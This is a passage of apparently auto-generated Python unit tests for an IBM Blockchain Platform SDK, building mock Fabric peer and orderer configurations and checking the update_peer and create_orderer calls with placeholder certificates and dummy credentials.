resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObjectFabV2 model
resource_object_fab_v2_model = {}
resource_object_fab_v2_model['requests'] = resource_requests_model
resource_object_fab_v2_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectCouchDb model
resource_object_couch_db_model = {}
resource_object_couch_db_model['requests'] = resource_requests_model
resource_object_couch_db_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectFabV1 model
resource_object_fab_v1_model = {}
resource_object_fab_v1_model['requests'] = resource_requests_model
resource_object_fab_v1_model['limits'] = resource_limits_model
# Construct a dict representation of a PeerResources model
peer_resources_model = {}
peer_resources_model['chaincodelauncher'] = resource_object_fab_v2_model
peer_resources_model['couchdb'] = resource_object_couch_db_model
peer_resources_model['statedb'] = resource_object_model
peer_resources_model['dind'] = resource_object_fab_v1_model
peer_resources_model['fluentd'] = resource_object_fab_v1_model
peer_resources_model['peer'] = resource_object_model
peer_resources_model['proxy'] = resource_object_model
# Set up parameter values
id = 'testString'
admin_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
config_override = config_peer_update_model
crypto = update_peer_body_crypto_model
node_ou = node_ou_model
replicas = 1
resources = peer_resources_model
version = '1.4.6-1'
zone = '-'
# Invoke method
response = service.update_peer(
id,
admin_certs=admin_certs,
config_override=config_override,
crypto=crypto,
node_ou=node_ou,
replicas=replicas,
resources=resources,
version=version,
zone=zone,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['admin_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
assert req_body['config_override'] == config_peer_update_model
assert req_body['crypto'] == update_peer_body_crypto_model
assert req_body['node_ou'] == node_ou_model
assert req_body['replicas'] == 1
assert req_body['resources'] == peer_resources_model
assert req_body['version'] == '1.4.6-1'
assert req_body['zone'] == '-'
@responses.activate
def test_update_peer_value_error(self):
"""
test_update_peer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-peer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigPeerKeepaliveClient model
config_peer_keepalive_client_model = {}
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepaliveDeliveryClient model
config_peer_keepalive_delivery_client_model = {}
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepalive model
config_peer_keepalive_model = {}
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
# Construct a dict representation of a ConfigPeerGossipElection model
config_peer_gossip_election_model = {}
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
# Construct a dict representation of a ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy model
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {}
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
# Construct a dict representation of a ConfigPeerGossipPvtData model
config_peer_gossip_pvt_data_model = {}
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
# Construct a dict representation of a ConfigPeerGossipState model
config_peer_gossip_state_model = {}
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
# Construct a dict representation of a ConfigPeerGossip model
config_peer_gossip_model = {}
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
# Construct a dict representation of a ConfigPeerAuthentication model
config_peer_authentication_model = {}
config_peer_authentication_model['timewindow'] = '15m'
# Construct a dict representation of a ConfigPeerClient model
config_peer_client_model = {}
config_peer_client_model['connTimeout'] = '2s'
# Construct a dict representation of a ConfigPeerDeliveryclientAddressOverridesItem model
config_peer_deliveryclient_address_overrides_item_model = {}
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
# Construct a dict representation of a ConfigPeerDeliveryclient model
config_peer_deliveryclient_model = {}
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
# Construct a dict representation of a ConfigPeerAdminService model
config_peer_admin_service_model = {}
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
# Construct a dict representation of a ConfigPeerDiscovery model
config_peer_discovery_model = {}
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
# Construct a dict representation of a ConfigPeerLimitsConcurrency model
config_peer_limits_concurrency_model = {}
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
# Construct a dict representation of a ConfigPeerLimits model
config_peer_limits_model = {}
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
# Construct a dict representation of a ConfigPeerGateway model
config_peer_gateway_model = {}
config_peer_gateway_model['enabled'] = True
# Construct a dict representation of a ConfigPeerUpdatePeer model
config_peer_update_peer_model = {}
config_peer_update_peer_model['id'] = 'john-doe'
config_peer_update_peer_model['networkId'] = 'dev'
config_peer_update_peer_model['keepalive'] = config_peer_keepalive_model
config_peer_update_peer_model['gossip'] = config_peer_gossip_model
config_peer_update_peer_model['authentication'] = config_peer_authentication_model
config_peer_update_peer_model['client'] = config_peer_client_model
config_peer_update_peer_model['deliveryclient'] = config_peer_deliveryclient_model
config_peer_update_peer_model['adminService'] = config_peer_admin_service_model
config_peer_update_peer_model['validatorPoolSize'] = 8
config_peer_update_peer_model['discovery'] = config_peer_discovery_model
config_peer_update_peer_model['limits'] = config_peer_limits_model
config_peer_update_peer_model['gateway'] = config_peer_gateway_model
# Construct a dict representation of a ConfigPeerChaincodeGolang model
config_peer_chaincode_golang_model = {}
config_peer_chaincode_golang_model['dynamicLink'] = False
# Construct a dict representation of a ConfigPeerChaincodeExternalBuildersItem model
config_peer_chaincode_external_builders_item_model = {}
config_peer_chaincode_external_builders_item_model['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model['environmentWhitelist'] = ['GOPROXY']
# Construct a dict representation of a ConfigPeerChaincodeSystem model
config_peer_chaincode_system_model = {}
config_peer_chaincode_system_model['cscc'] = True
config_peer_chaincode_system_model['lscc'] = True
config_peer_chaincode_system_model['escc'] = True
config_peer_chaincode_system_model['vscc'] = True
config_peer_chaincode_system_model['qscc'] = True
# Construct a dict representation of a ConfigPeerChaincodeLogging model
config_peer_chaincode_logging_model = {}
config_peer_chaincode_logging_model['level'] = 'info'
config_peer_chaincode_logging_model['shim'] = 'warning'
config_peer_chaincode_logging_model['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
# Construct a dict representation of a ConfigPeerChaincode model
config_peer_chaincode_model = {}
config_peer_chaincode_model['golang'] = config_peer_chaincode_golang_model
config_peer_chaincode_model['externalBuilders'] = [config_peer_chaincode_external_builders_item_model]
config_peer_chaincode_model['installTimeout'] = '300s'
config_peer_chaincode_model['startuptimeout'] = '300s'
config_peer_chaincode_model['executetimeout'] = '30s'
config_peer_chaincode_model['system'] = config_peer_chaincode_system_model
config_peer_chaincode_model['logging'] = config_peer_chaincode_logging_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigPeerUpdate model
config_peer_update_model = {}
config_peer_update_model['peer'] = config_peer_update_peer_model
config_peer_update_model['chaincode'] = config_peer_chaincode_model
config_peer_update_model['metrics'] = metrics_model
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a UpdateEnrollmentCryptoFieldCa model
update_enrollment_crypto_field_ca_model = {}
update_enrollment_crypto_field_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model['port'] = 7054
update_enrollment_crypto_field_ca_model['name'] = 'ca'
update_enrollment_crypto_field_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a UpdateEnrollmentCryptoFieldTlsca model
update_enrollment_crypto_field_tlsca_model = {}
update_enrollment_crypto_field_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model['port'] = 7054
update_enrollment_crypto_field_tlsca_model['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a UpdateEnrollmentCryptoField model
update_enrollment_crypto_field_model = {}
update_enrollment_crypto_field_model['component'] = crypto_enrollment_component_model
update_enrollment_crypto_field_model['ca'] = update_enrollment_crypto_field_ca_model
update_enrollment_crypto_field_model['tlsca'] = update_enrollment_crypto_field_tlsca_model
# Construct a dict representation of a UpdateMspCryptoFieldCa model
update_msp_crypto_field_ca_model = {}
update_msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldTlsca model
update_msp_crypto_field_tlsca_model = {}
update_msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldComponent model
update_msp_crypto_field_component_model = {}
update_msp_crypto_field_component_model['ekey'] = 'testString'
update_msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model['tls_key'] = 'testString'
update_msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['client_auth'] = client_auth_model
# Construct a dict representation of a UpdateMspCryptoField model
update_msp_crypto_field_model = {}
update_msp_crypto_field_model['ca'] = update_msp_crypto_field_ca_model
update_msp_crypto_field_model['tlsca'] = update_msp_crypto_field_tlsca_model
update_msp_crypto_field_model['component'] = update_msp_crypto_field_component_model
# Construct a dict representation of a UpdatePeerBodyCrypto model
update_peer_body_crypto_model = {}
update_peer_body_crypto_model['enrollment'] = update_enrollment_crypto_field_model
update_peer_body_crypto_model['msp'] = update_msp_crypto_field_model
# Construct a dict representation of a NodeOu model
node_ou_model = {}
node_ou_model['enabled'] = True
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObjectFabV2 model
resource_object_fab_v2_model = {}
resource_object_fab_v2_model['requests'] = resource_requests_model
resource_object_fab_v2_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectCouchDb model
resource_object_couch_db_model = {}
resource_object_couch_db_model['requests'] = resource_requests_model
resource_object_couch_db_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectFabV1 model
resource_object_fab_v1_model = {}
resource_object_fab_v1_model['requests'] = resource_requests_model
resource_object_fab_v1_model['limits'] = resource_limits_model
# Construct a dict representation of a PeerResources model
peer_resources_model = {}
peer_resources_model['chaincodelauncher'] = resource_object_fab_v2_model
peer_resources_model['couchdb'] = resource_object_couch_db_model
peer_resources_model['statedb'] = resource_object_model
peer_resources_model['dind'] = resource_object_fab_v1_model
peer_resources_model['fluentd'] = resource_object_fab_v1_model
peer_resources_model['peer'] = resource_object_model
peer_resources_model['proxy'] = resource_object_model
# Set up parameter values
id = 'testString'
admin_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
config_override = config_peer_update_model
crypto = update_peer_body_crypto_model
node_ou = node_ou_model
replicas = 1
resources = peer_resources_model
version = '1.4.6-1'
zone = '-'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.update_peer(**req_copy)
class TestCreateOrderer():
"""
Test Class for create_orderer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_create_orderer_all_params(self):
"""
create_orderer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-orderer')
mock_response = '{"created": [{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a CryptoObjectEnrollmentCa model
crypto_object_enrollment_ca_model = {}
crypto_object_enrollment_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_ca_model['port'] = 7054
crypto_object_enrollment_ca_model['name'] = 'ca'
crypto_object_enrollment_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_ca_model['enroll_id'] = 'admin'
crypto_object_enrollment_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a CryptoObjectEnrollmentTlsca model
crypto_object_enrollment_tlsca_model = {}
crypto_object_enrollment_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_tlsca_model['port'] = 7054
crypto_object_enrollment_tlsca_model['name'] = 'tlsca'
crypto_object_enrollment_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_tlsca_model['enroll_id'] = 'admin'
crypto_object_enrollment_tlsca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a CryptoObjectEnrollment model
crypto_object_enrollment_model = {}
crypto_object_enrollment_model['component'] = crypto_enrollment_component_model
crypto_object_enrollment_model['ca'] = crypto_object_enrollment_ca_model
crypto_object_enrollment_model['tlsca'] = crypto_object_enrollment_tlsca_model
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a MspCryptoComp model
msp_crypto_comp_model = {}
msp_crypto_comp_model['ekey'] = 'testString'
msp_crypto_comp_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_comp_model['tls_key'] = 'testString'
msp_crypto_comp_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['client_auth'] = client_auth_model
# Construct a dict representation of a MspCryptoCa model
msp_crypto_ca_model = {}
msp_crypto_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a CryptoObjectMsp model
crypto_object_msp_model = {}
crypto_object_msp_model['component'] = msp_crypto_comp_model
crypto_object_msp_model['ca'] = msp_crypto_ca_model
crypto_object_msp_model['tlsca'] = msp_crypto_ca_model
# Construct a dict representation of a CryptoObject model
crypto_object_model = {}
crypto_object_model['enrollment'] = crypto_object_enrollment_model
crypto_object_model['msp'] = crypto_object_msp_model
# Construct a dict representation of a ConfigOrdererKeepalive model
config_orderer_keepalive_model = {}
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigOrdererAuthentication model
